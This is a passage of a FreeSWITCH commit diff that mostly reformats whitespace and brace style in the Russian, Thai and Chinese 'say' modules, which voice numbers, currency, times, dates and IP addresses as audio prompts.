- if ((status = play_group(say_type, casus, places[2], places[1], places[0], zero, session, args)) != SWITCH_STATUS_SUCCESS) {
+ } else {
+ if ((status = play_group(say_type, casus, places[2], places[1], places[0], zero, session, args)) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d other!\n", places[2], places[1], places[0]);
return status;
}
@@ -285,26 +290,26 @@
char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
{
switch_status_t status;
- casus_t casus; //падеж
- say_type_t say_type;//тип произношения
+ casus_t casus; //падеж
+ say_type_t say_type; //тип произношения
switch (type) {
- case SST_MESSAGES:
- say_type=it_c;
- casus=nominativus;
- break;
- default:
- say_type=male_c;
- casus=nominativus;
- break;
+ case SST_MESSAGES:
+ say_type = it_c;
+ casus = nominativus;
+ break;
+ default:
+ say_type = male_c;
+ casus = nominativus;
+ break;
};
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " type=%d casus=%d\n", say_type,casus);
- status=ru_say_count(session,tosay,say_type,casus,args);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " type=%d casus=%d\n", say_type, casus);
+ status = ru_say_count(session, tosay, say_type, casus, args);
return status;
}
static switch_status_t ru_say_money(switch_core_session_t *session, char *tosay, switch_say_type_t type,
- switch_say_method_t method,switch_input_args_t *args)
+ switch_say_method_t method, switch_input_args_t *args)
{
char sbuf[16] = "";
char *rubles = NULL;
@@ -314,7 +319,7 @@
int ikopecks = 0;
int ikopeck = 0;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_money %s\n",tosay );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_money %s\n", tosay);
if (strlen(tosay) > 15 || !(tosay = strip_nonnumerics(tosay, sbuf, sizeof(sbuf)))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
@@ -338,24 +343,24 @@
rubles++;
}
- ru_say_count(session,rubles ,male_c,nominativus ,args);
+ ru_say_count(session, rubles, male_c, nominativus, args);
if (rubles) {
- irubles = atoi(rubles)%100;
- iruble = atoi(rubles)%10;
+ irubles = atoi(rubles) % 100;
+ iruble = atoi(rubles) % 10;
}
- if (irubles == 1 || (irubles > 20 && iruble == 1)) {/* рубль */
+ if (irubles == 1 || (irubles > 20 && iruble == 1)) { /* рубль */
say_file("currency/ruble.wav");
- } else if ((irubles > 1 && irubles < 5) || (irubles > 20 && iruble > 1 && iruble < 5)) { /*рубля */
+ } else if ((irubles > 1 && irubles < 5) || (irubles > 20 && iruble > 1 && iruble < 5)) { /*рубля */
say_file("currency/ruble-a.wav");
- } else { /*рублей */
+ } else { /*рублей */
say_file("currency/rubles.wav");
}
/* Say kopecks */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " %s\n",kopecks );
- ru_say_count(session, kopecks ,female_c, nominativus, args);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " %s\n", kopecks);
+ ru_say_count(session, kopecks, female_c, nominativus, args);
if (kopecks) {
ikopecks = atoi(kopecks) % 100;
@@ -386,7 +391,7 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
const char *tz = switch_channel_get_variable(channel, "timezone");
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_time %s type=%d method=%d\n",tosay, type,method );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_time %s type=%d method=%d\n", tosay, type, method);
if (type == SST_TIME_MEASUREMENT) {
int64_t hours = 0;
@@ -428,38 +433,38 @@
}
}
- switch_snprintf(buf, sizeof(buf), "%u", (unsigned)hours);
- ru_say_count(session,buf ,male_c,nominativus,args);
+ switch_snprintf(buf, sizeof(buf), "%u", (unsigned) hours);
+ ru_say_count(session, buf, male_c, nominativus, args);
- if (((hours%10) == 1) && (hours!=11)) {
+ if (((hours % 10) == 1) && (hours != 11)) {
/* час */
say_file("time/hour.wav");
- } else if (((hours%10>1)&&(hours%10<5)) &&((hours<12)||(hours>14))) {
- say_file("time/hours-a.wav"); /* часа */
+ } else if (((hours % 10 > 1) && (hours % 10 < 5)) && ((hours < 12) || (hours > 14))) {
+ say_file("time/hours-a.wav"); /* часа */
} else {
- say_file("time/hours.wav"); /* часов*/
+ say_file("time/hours.wav"); /* часов */
}
- switch_snprintf(buf, sizeof(buf), "%u", (unsigned)minutes); //перевести минуты в *char
- ru_say_count(session,buf ,female_c,nominativus,args);
+ switch_snprintf(buf, sizeof(buf), "%u", (unsigned) minutes); //перевести минуты в *char
+ ru_say_count(session, buf, female_c, nominativus, args);
- if (((minutes%10) == 1) && (minutes!=11)) {
- say_file("time/minute.wav"); //минута
- } else if (((minutes%10>1)&&(minutes%10<5))&&((minutes<12)||(minutes>14))){
- say_file("time/minutes-i.wav"); // минуты
+ if (((minutes % 10) == 1) && (minutes != 11)) {
+ say_file("time/minute.wav"); //минута
+ } else if (((minutes % 10 > 1) && (minutes % 10 < 5)) && ((minutes < 12) || (minutes > 14))) {
+ say_file("time/minutes-i.wav"); // минуты
} else {
- say_file("time/minutes.wav"); //минут
+ say_file("time/minutes.wav"); //минут
}
- if (seconds!=0) {
- switch_snprintf(buf, sizeof(buf), "%u", (unsigned)seconds);
- ru_say_count(session,buf ,female_c,nominativus,args);
- if (((seconds%10) == 1) && (seconds!=11)) {
- say_file("time/second.wav"); // секунда
- } else if (((seconds%10>1)&&(seconds%10<5))&&((seconds<12)||(seconds>14))) {
- say_file("time/seconds-i.wav"); // секуны
+ if (seconds != 0) {
+ switch_snprintf(buf, sizeof(buf), "%u", (unsigned) seconds);
+ ru_say_count(session, buf, female_c, nominativus, args);
+ if (((seconds % 10) == 1) && (seconds != 11)) {
+ say_file("time/second.wav"); // секунда
+ } else if (((seconds % 10 > 1) && (seconds % 10 < 5)) && ((seconds < 12) || (seconds > 14))) {
+ say_file("time/seconds-i.wav"); // секуны
} else {
- say_file("time/seconds.wav"); //секунд
+ say_file("time/seconds.wav"); //секунд
}
}
return SWITCH_STATUS_SUCCESS;
@@ -488,43 +493,43 @@
}
switch (type) {
- case SST_CURRENT_DATE_TIME:
- say_date = say_time = 1;
- break;
- case SST_CURRENT_DATE:
+ case SST_CURRENT_DATE_TIME:
+ say_date = say_time = 1;
+ break;
+ case SST_CURRENT_DATE:
+ say_date = 1;
+ break;
+ case SST_CURRENT_TIME:
+ say_time = 1;
+ break;
+ case SST_SHORT_DATE_TIME:
+ say_time = 1;
+ if (tm.tm_year != tm_now.tm_year) {
say_date = 1;
break;
- case SST_CURRENT_TIME:
- say_time = 1;
+ }
+ if (tm.tm_yday == tm_now.tm_yday) {
+ say_today = 1;
break;
- case SST_SHORT_DATE_TIME:
- say_time = 1;
- if (tm.tm_year != tm_now.tm_year) {
- say_date = 1;
- break;
- }
- if (tm.tm_yday == tm_now.tm_yday) {
- say_today = 1;
- break;
- }
- if (tm.tm_yday == tm_now.tm_yday - 1) {
- say_yesterday = 1;
- break;
- }
- if (tm.tm_yday >= tm_now.tm_yday - 5) {
- say_dow = 1;
- break;
- }
- if (tm.tm_mon != tm_now.tm_mon) {
- say_month = say_day = say_dow = 1;
- break;
- }
-
+ }
+ if (tm.tm_yday == tm_now.tm_yday - 1) {
+ say_yesterday = 1;
+ break;
+ }
+ if (tm.tm_yday >= tm_now.tm_yday - 5) {
+ say_dow = 1;
+ break;
+ }
+ if (tm.tm_mon != tm_now.tm_mon) {
say_month = say_day = say_dow = 1;
+ break;
+ }
- break;
- default:
- break;
+ say_month = say_day = say_dow = 1;
+
+ break;
+ default:
+ break;
}
if (say_today) {
@@ -541,30 +546,28 @@
say_today = say_yesterday = 0;
}
if (say_day) {
- switch_snprintf(buf, sizeof(buf), "%u", (unsigned)tm.tm_mday);
- ru_say_count(session,buf ,male_h,genitivus,args);
+ switch_snprintf(buf, sizeof(buf), "%u", (unsigned) tm.tm_mday);
+ ru_say_count(session, buf, male_h, genitivus, args);
}
if (say_month) {
say_file("time/mon-%d.wav", tm.tm_mon);
}
if (say_year) {
- switch_snprintf(buf, sizeof(buf), "%u", (unsigned)(tm.tm_year + 1900));
- ru_say_count(session,buf ,male_h,genitivus,args);
+ switch_snprintf(buf, sizeof(buf), "%u", (unsigned) (tm.tm_year + 1900));
+ ru_say_count(session, buf, male_h, genitivus, args);
say_file("time/h-year.wav");
}
- if (say_month||say_year||say_date||say_dow)
- {
+ if (say_month || say_year || say_date || say_dow) {
say_file("time/at.wav");
}
if (say_time) {
- switch_snprintf(buf, sizeof(buf), "%d:%d:%d",tm.tm_hour+1,tm.tm_min,tm.tm_sec);
+ switch_snprintf(buf, sizeof(buf), "%d:%d:%d", tm.tm_hour + 1, tm.tm_min, tm.tm_sec);
ru_say_time(session, buf, SST_TIME_MEASUREMENT, method, args);
}
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t ru_ip(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method,
- switch_input_args_t *args)
+static switch_status_t ru_ip(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
{
char *a, *b, *c, *d;
if (!(a = switch_core_session_strdup(session, tosay))) {
@@ -589,16 +592,16 @@
*d++ = '\0';
- ru_say_count(session,a ,male_c,nominativus,args);
+ ru_say_count(session, a, male_c, nominativus, args);
say_file("digits/dot.wav");
- ru_say_count(session,b ,male_c,nominativus,args);
+ ru_say_count(session, b, male_c, nominativus, args);
say_file("digits/dot.wav");
- ru_say_count(session,c ,male_c,nominativus,args);
+ ru_say_count(session, c, male_c, nominativus, args);
say_file("digits/dot.wav");
- ru_say_count(session,d ,male_c,nominativus,args);
+ ru_say_count(session, d, male_c, nominativus, args);
return SWITCH_STATUS_SUCCESS;
}
@@ -607,40 +610,40 @@
switch_say_callback_t say_cb = NULL;
switch (type) {
- case SST_NUMBER:
- case SST_ITEMS:
- case SST_PERSONS:
- case SST_MESSAGES:
- say_cb = ru_say_general_count;
- break;
- case SST_TIME_MEASUREMENT:
- say_cb = ru_say_time;
- break;
+ case SST_NUMBER:
+ case SST_ITEMS:
+ case SST_PERSONS:
+ case SST_MESSAGES:
+ say_cb = ru_say_general_count;
+ break;
+ case SST_TIME_MEASUREMENT:
+ say_cb = ru_say_time;
+ break;
- case SST_CURRENT_DATE:
- say_cb = ru_say_time;
- break;
+ case SST_CURRENT_DATE:
+ say_cb = ru_say_time;
+ break;
- case SST_CURRENT_TIME:
- say_cb = ru_say_time;
- break;
+ case SST_CURRENT_TIME:
+ say_cb = ru_say_time;
+ break;
- case SST_CURRENT_DATE_TIME:
- say_cb = ru_say_time;
- break;
- case SST_IP_ADDRESS:
- say_cb = ru_ip;
- break;
- case SST_NAME_SPELLED:
- case SST_NAME_PHONETIC:
- say_cb = ru_spell;
- break;
- case SST_CURRENCY:
- say_cb = ru_say_money;
- break;
- default:
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown Say type=[%d]\n", type);
- break;
+ case SST_CURRENT_DATE_TIME:
+ say_cb = ru_say_time;
+ break;
+ case SST_IP_ADDRESS:
+ say_cb = ru_ip;
+ break;
+ case SST_NAME_SPELLED:
+ case SST_NAME_PHONETIC:
+ say_cb = ru_spell;
+ break;
+ case SST_CURRENCY:
+ say_cb = ru_say_money;
+ break;
+ default:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown Say type=[%d]\n", type);
+ break;
}
if (say_cb) {
Modified: freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h (16578 => 16579)
--- freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -5,52 +5,52 @@
* mod_say_ru.c -- Say for Russian
*
*/
-
+
//слишком много падежей поэтому пришлось сделать массив значений
//пример таблицы склонений для 1 ниже по ссылкам
//http://ru.wiktionary.org/wiki/%D0%BE%D0%B4%D0%B8%D0%BD
//http://ru.wiktionary.org/wiki/%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D0%B9
typedef enum {
- million,
- thousand,
- zero,
- empty
+ million,
+ thousand,
+ zero,
+ empty
} unit_t;
//тип числа порядковое или количественное
-typedef enum{
- nominativus, // именительный Кто? Что?
- genitivus, // Родительный Кого? Чего?
- dativus, // дательный Кого? Что?
- accusativus_a, // Винительный Кого? animate - одушевлённый
- accusativus_i, // Винительный Что? inanimate - неодушевлённый
- instrumentalis, // Творительный Кем? Чем?
- prepositive // Предложный О ком? О чём?
+typedef enum {
+ nominativus, // именительный Кто? Что?
+ genitivus, // Родительный Кого? Чего?
+ dativus, // дательный Кого? Что?
+ accusativus_a, // Винительный Кого? animate - одушевлённый
+ accusativus_i, // Винительный Что? inanimate - неодушевлённый
+ instrumentalis, // Творительный Кем? Чем?
+ prepositive // Предложный О ком? О чём?
} casus_t;
-
+
typedef enum {
- //количественный
- male_c, //мужского пола
- it_c, //среднего
- female_c, //женского
- plural_c, //множественное число
- //порядковый
- male_h, //порядковое мужского пола
- it_h, //порядковое среднего
- female_h, //порядковое женского
- plural_h //порядковое множественное число
+ //количественный
+ male_c, //мужского пола
+ it_c, //среднего
+ female_c, //женского
+ plural_c, //множественное число
+ //порядковый
+ male_h, //порядковое мужского пола
+ it_h, //порядковое среднего
+ female_h, //порядковое женского
+ plural_h //порядковое множественное число
} say_type_t;
-
-struct say_t{
- char *num[8];
- char *thousand[14];
- char *million[14];
- int all;
+
+struct say_t {
+ char *num[8];
+ char *thousand[14];
+ char *million[14];
+ int all;
};
@@ -69,7 +69,7 @@
{"","","1","million","2","million-a","3","million-a","4","million-a","5","millions","",""},\
0,\
}\
-//средний род именительный падеж
+ //средний род именительный падеж
#define m_01 {\
{"0","1n","2","3","4","5","",""},\
{"","","1f","thousand","2f","thousands-i","3","thousands-i","4","thousands-i","5","thousands","",""},\
@@ -101,14 +101,14 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_05 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
0,\
}\
-//женский
+ //женский
#define m_06 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -135,7 +135,7 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_11 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -168,14 +168,14 @@
{"","","","h-millionx","h-2xx","h-millionx","h-3xx","h-millionx","h-4xx","h-millionx","h-5xx","h-millionx","h-","xx"},\
0,\
}\
-//средний
+ //средний
#define m_15 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
0,\
}\
-//женский
+ //женский
#define m_16 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -202,7 +202,7 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_21 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -234,14 +234,14 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_25 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
0,\
}\
-//женский
+ //женский
#define m_26 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -268,7 +268,7 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_31 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -300,14 +300,14 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_35 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
0,\
}\
-//женский
+ //женский
#define m_36 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -334,7 +334,7 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_41 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -366,14 +366,14 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_45 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
0,\
}\
-//женский
+ //женский
#define m_46 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -400,7 +400,7 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_51 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -432,14 +432,14 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_55 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
0,\
}\
-//женский
+ //женский
#define m_56 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -466,7 +466,7 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_61 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -498,14 +498,14 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_65 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
0,\
}\
-//женский
+ //женский
#define m_66 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -532,7 +532,7 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_61 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -564,14 +564,14 @@
{"","","","","","","","","","","","","",""},\
0,\
}\
-//средний
+ //средний
#define m_65 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
0,\
}\
-//женский
+ //женский
#define m_66 {\
{"","","","","","","",""},\
{"","","","","","","","","","","","","",""},\
@@ -587,5 +587,3 @@
0,\
}\
-
-
Modified: freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c (16578 => 16579)
--- freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -103,11 +103,11 @@
static char *strip_commas(char *in, char *out, switch_size_t len)
{
char *p = in;
- char *q = out;
+ char *q = out;
char *ret = out;
switch_size_t x = 0;
- for ( ; p && *p; p++) {
+ for (; p && *p; p++) {
if ((*p >= '0' && *p <= '9')) {
*q++ = *p;
} else if (*p != ',') {
@@ -127,7 +127,7 @@
static char *strip_nonnumerics(char *in, char *out, switch_size_t len)
{
char *p = in;
- char *q = out;
+ char *q = out;
char *ret = out;
switch_size_t x = 0;
@@ -151,8 +151,8 @@
{
int in;
char sbuf[13] = "";
- char digits[11];
- int i;
+ char digits[11];
+ int i;
if (!(tosay = strip_commas(tosay, sbuf, sizeof(sbuf))) || strlen(tosay) > 9) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
@@ -163,123 +163,108 @@
if (in != 0) {
snprintf(digits, sizeof(digits), "%10.10d", in);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Say: %s \n",digits);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Say: %s \n", digits);
switch (method) {
case SSM_COUNTED:
say_file("digits/ordinal.wav");
/* Fall through */
case SSM_PRONOUNCED:
- for (i = 0; i <= 9; i++)
- {
- switch (i)
- {
- case 0:
- /* Billions column */
- if (digits[i] != '0')
- {
- if (digits[i] != '1')
- say_file("digits/%c.wav", digits[i]);
- say_file("digits/10.wav");
- }
- break;
- case 1:
- /* Hundred millions columns */
- if (digits[i] != '0')
- say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits, "00", 2) != 0)
- say_file("digits/100000000.wav");
- break;
- case 2:
- /* ten Millions column */
- if (digits[i] != '0')
- {
- say_file("digits/%c.wav", digits[i]);
- say_file("digits/10000000.wav");
- }
- break;
- case 3:
- /* Millions column */
- if (digits[i] != '0')
- {
- say_file("digits/%c.wav", digits[i]);
- say_file("digits/1000000.wav");
- }
- break;
- case 4:
- /* Hundred thousands column */
- if (digits[i] != '0')
- {
- say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits + 2, "00000", 4) != 0)
- say_file("digits/100000.wav");
- }
+ for (i = 0; i <= 9; i++) {
+ switch (i) {
+ case 0:
+ /* Billions column */
+ if (digits[i] != '0') {
+ if (digits[i] != '1')
+ say_file("digits/%c.wav", digits[i]);
+ say_file("digits/10.wav");
+ }
+ break;
+ case 1:
+ /* Hundred millions columns */
+ if (digits[i] != '0')
+ say_file("digits/%c.wav", digits[i]);
+ if (memcmp(digits, "00", 2) != 0)
+ say_file("digits/100000000.wav");
+ break;
+ case 2:
+ /* ten Millions column */
+ if (digits[i] != '0') {
+ say_file("digits/%c.wav", digits[i]);
+ say_file("digits/10000000.wav");
+ }
+ break;
+ case 3:
+ /* Millions column */
+ if (digits[i] != '0') {
+ say_file("digits/%c.wav", digits[i]);
+ say_file("digits/1000000.wav");
+ }
+ break;
+ case 4:
+ /* Hundred thousands column */
+ if (digits[i] != '0') {
+ say_file("digits/%c.wav", digits[i]);
+ if (memcmp(digits + 2, "00000", 4) != 0)
+ say_file("digits/100000.wav");
+ }
- break;
-
- case 5:
- /* Ten thousands column */
- if (digits[i] != '0')
- {
- say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits + 2, "0000", 4) != 0)
- say_file("digits/10000.wav");
- }
- break;
- case 6:
- /* Ten millions or thousands column */
- if (digits[i] != '0')
- {
- say_file("digits/%c.wav", digits[i]);
- say_file("digits/1000.wav");
- }
- break;
- case 7:
- /* hundreds column */
- if (digits[i] != '0')
- {
- say_file("digits/%c.wav", digits[i]);
- say_file("digits/100.wav");
- }
- break;
- case 8:
- /* Tens column */
- if (digits[i] != '0')
- {
- if (digits[i] == '2')
- {
- say_file("digits/20.wav");
- break;
- }
- if (digits[i] == '1')
- {
- say_file("digits/10.wav");
- break;
- }
- if (digits[i] != '1'
- ||
- memcmp (digits, "00000000", 8) != 0)
- {
- say_file("digits/%c.wav", digits[i]);
- }
- }
- if (digits[8] != '0')
- say_file("digits/10.wav");
- break;
- case 9:
- /* Units column */
- if (digits[9] == '1'){
- if (digits[8] != '0'){
- say_file("digits/ed.wav", digits[i]);
- }else{
- say_file("digits/%c.wav", digits[i]);
- }
- break;
- }
- if (digits[9] != '0')
- say_file("digits/%c.wav", digits[i]);
- break;
- }
- }
+ break;
+
+ case 5:
+ /* Ten thousands column */
+ if (digits[i] != '0') {
+ say_file("digits/%c.wav", digits[i]);
+ if (memcmp(digits + 2, "0000", 4) != 0)
+ say_file("digits/10000.wav");
+ }
+ break;
+ case 6:
+ /* Ten millions or thousands column */
+ if (digits[i] != '0') {
+ say_file("digits/%c.wav", digits[i]);
+ say_file("digits/1000.wav");
+ }
+ break;
+ case 7:
+ /* hundreds column */
+ if (digits[i] != '0') {
+ say_file("digits/%c.wav", digits[i]);
+ say_file("digits/100.wav");
+ }
+ break;
+ case 8:
+ /* Tens column */
+ if (digits[i] != '0') {
+ if (digits[i] == '2') {
+ say_file("digits/20.wav");
+ break;
+ }
+ if (digits[i] == '1') {
+ say_file("digits/10.wav");
+ break;
+ }
+ if (digits[i] != '1' || memcmp(digits, "00000000", 8) != 0) {
+ say_file("digits/%c.wav", digits[i]);
+ }
+ }
+ if (digits[8] != '0')
+ say_file("digits/10.wav");
+ break;
+ case 9:
+ /* Units column */
+ if (digits[9] == '1') {
+ if (digits[8] != '0') {
+ say_file("digits/ed.wav", digits[i]);
+ } else {
+ say_file("digits/%c.wav", digits[i]);
+ }
+ break;
+ }
+ if (digits[9] != '0')
+ say_file("digits/%c.wav", digits[i]);
+ break;
+ }
+ }
break;
case SSM_ITERATED:
{
@@ -338,10 +323,7 @@
}
static switch_status_t th_say_time(switch_core_session_t *session,
- char *tosay,
- switch_say_type_t type,
- switch_say_method_t method,
- switch_input_args_t *args)
+ char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
{
int32_t t;
switch_time_t target = 0;
@@ -351,7 +333,7 @@
switch_time_exp_t tm2;
#endif
uint8_t say_date = 0;
- uint8_t say_time = 0;
+ uint8_t say_time = 0;
if (type == SST_TIME_MEASUREMENT) {
int64_t hours = 0;
@@ -397,16 +379,16 @@
if (hours) {
if (hours == 2) {
say_file("time/2s.wav");
- } else {
- say_num(hours, SSM_PRONOUNCED);
+ } else {
+ say_num(hours, SSM_PRONOUNCED);
}
say_file("time/hours.wav");
}
if (minutes) {
if (minutes == 2) {
say_file("time/2s.wav");
- } else {
- say_num(minutes, SSM_PRONOUNCED);
+ } else {
+ say_num(minutes, SSM_PRONOUNCED);
}
say_file("time/minute.wav");
} else {
@@ -419,12 +401,12 @@
if (seconds) {
if (seconds == 2) {
say_file("time/2s.wav");
- } else {
- say_num(hours, SSM_PRONOUNCED);
+ } else {
+ say_num(hours, SSM_PRONOUNCED);
}
say_file("time/seconds.wav");
} else {
- if (hours || minutes) {
+ if (hours || minutes) {
say_file("digits/0.wav");
say_file("time/second.wav");
}
@@ -441,8 +423,7 @@
switch (type) {
case SST_CURRENT_DATE_TIME:
- say_date =
- say_time = 1;
+ say_date = say_time = 1;
break;
case SST_CURRENT_DATE:
say_date = 1;
@@ -455,7 +436,7 @@
}
if (say_date) {
- say_num(tm.tm_year + 1900, SSM_ITERATED);
+ say_num(tm.tm_year + 1900, SSM_ITERATED);
say_file("time/year.wav");
say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
say_file("time/month.wav");
@@ -464,52 +445,39 @@
say_file("time/day-%d.wav", tm.tm_wday);
#if 0
- tm = *localtime(&then);
+ tm = *localtime(&then);
- this_morning = switch_micro_time_now();
- switch_time_exp_lt(&tm2, this_morning);
- tm2->tm_hour = 0;
- tm2->tm_min = 0;
- tm2->tm_sec = 0;
- this_morning = mktime(tm2);
+ this_morning = switch_micro_time_now();
+ switch_time_exp_lt(&tm2, this_morning);
+ tm2->tm_hour = 0;
+ tm2->tm_min = 0;
+ tm2->tm_sec = 0;
+ this_morning = mktime(tm2);
- if (this_morning <= then && then < (this_morning + 86400L))
- {
+ if (this_morning <= then && then < (this_morning + 86400L)) {
say_file("time/today.wav");
- }
- else if ((this_morning - 86400L) <= then && then < this_morning)
- {
+ } else if ((this_morning - 86400L) <= then && then < this_morning) {
say_file("time/yesterday.wav");
- }
- else if ((this_morning + 86400L) <= then && then < (this_morning + 2*86400L))
- {
+ } else if ((this_morning + 86400L) <= then && then < (this_morning + 2 * 86400L)) {
say_file("time/tomorrow.wav");
- }
- else if ((this_morning - 7*86400L) <= then && then < this_morning)
- {
- say_file("time/day-%d.wav", tm.tm_wday);
- }
- else
- {
- if (tm2->tm_year != tm.tm_year)
- {
- say_num(tm.tm_year + 1900, SSM_ITERATED);
- say_file("time/year.wav");
- }
- /*endif*/
- if (tm2->tm_year != tm.tm_year
- ||
- tm2->tm_mon != tm.tm_mon)
- {
- say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
- say_file("time/month.wav");
- }
- /*endif*/
- /* Always say the day and the day of the week */
- say_num(tm.tm_mday, SSM_PRONOUNCED);
- say_file("time/day.wav");
- say_file("time/day-%d.wav", tm.tm_wday);
- }
+ } else if ((this_morning - 7 * 86400L) <= then && then < this_morning) {
+ say_file("time/day-%d.wav", tm.tm_wday);
+ } else {
+ if (tm2->tm_year != tm.tm_year) {
+ say_num(tm.tm_year + 1900, SSM_ITERATED);
+ say_file("time/year.wav");
+ }
+ /*endif */
+ if (tm2->tm_year != tm.tm_year || tm2->tm_mon != tm.tm_mon) {
+ say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
+ say_file("time/month.wav");
+ }
+ /*endif */
+ /* Always say the day and the day of the week */
+ say_num(tm.tm_mday, SSM_PRONOUNCED);
+ say_file("time/day.wav");
+ say_file("time/day-%d.wav", tm.tm_wday);
+ }
#endif
}
@@ -517,13 +485,13 @@
int32_t hour = tm.tm_hour;
if (hour < 6) {
- say_file("time/morning.wav");
+ say_file("time/morning.wav");
} else if (hour < 12) {
- say_file("time/am.wav");
+ say_file("time/am.wav");
} else if (tm.tm_hour < 18) {
- say_file("time/pm.wav");
+ say_file("time/pm.wav");
} else {
- say_file("time/evening.wav");
+ say_file("time/evening.wav");
}
if (hour > 12)
hour -= 12;
@@ -541,7 +509,7 @@
} else {
say_num(tm.tm_min, SSM_PRONOUNCED);
}
- say_file("time/minute.wav");
+ say_file("time/minute.wav");
}
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c (16578 => 16579)
--- freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -103,11 +103,11 @@
static char *strip_commas(char *in, char *out, switch_size_t len)
{
char *p = in;
- char *q = out;
+ char *q = out;
char *ret = out;
switch_size_t x = 0;
- for ( ; p && *p; p++) {
+ for (; p && *p; p++) {
